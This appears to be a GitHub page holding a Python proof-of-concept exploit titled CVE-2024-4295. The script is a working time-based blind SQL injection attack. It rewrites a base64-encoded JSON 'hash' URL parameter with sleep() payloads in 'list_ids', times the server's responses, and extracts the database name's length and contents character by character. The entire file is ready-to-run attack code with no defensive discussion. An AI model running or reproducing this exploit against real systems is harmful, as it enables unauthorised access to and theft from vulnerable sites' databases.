-
Notifications
You must be signed in to change notification settings - Fork 1
/
CVE-2024-4295
55 lines (50 loc) · 1.6 KB
/
CVE-2024-4295
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from urllib.parse import urlparse
import requests as req
import base64
import json
import string
import time
import re
def parse_hash(url):
hash = urlparse(url).query.split("&")[1].replace("hash=","")
hash = json.loads(base64.b64decode(hash))
return hash
def len_info(url):
d = 0
hash = parse_hash(url)
while 1:
payload = "2) and (select 1 from (select sleep( if(length(database())={0},5,0) ))x)#".format(str(d))
hash['list_ids']=[payload]
base64_hash = base64.b64encode(json.dumps(hash).encode()).decode()
url = re.sub("hash=(.*)",'hash='+base64_hash,url)
s = time.time()
resp = req.get(url)
e = time.time()
if e-s>=5:
print("Length database: "+str(d))
return d
d+=1
def extract(url):
info = ''
hash = parse_hash(url)
for j in range(0,len_info(url)):
for i in string.ascii_lowercase+string.digits+string.punctuation:
payload = "2) and (select 1 from (select sleep( if(database() like '{0}%',5,0) ))x)#".format(info+i)
hash['list_ids']=[payload]
base64_hash = base64.b64encode(json.dumps(hash).encode()).decode()
url = re.sub("hash=(.*)",'hash='+base64_hash,url)
s = time.time()
resp = req.get(url)
e = time.time()
if e-s>=5:
info+=i
print("Database: "+info)
break
url = input("url: ")
info_hash = parse_hash(url)
print("="*20)
print('Information hash: ')
for key,val in info_hash.items():
print(key+": "+str(val))
print("="*20)
extract(url)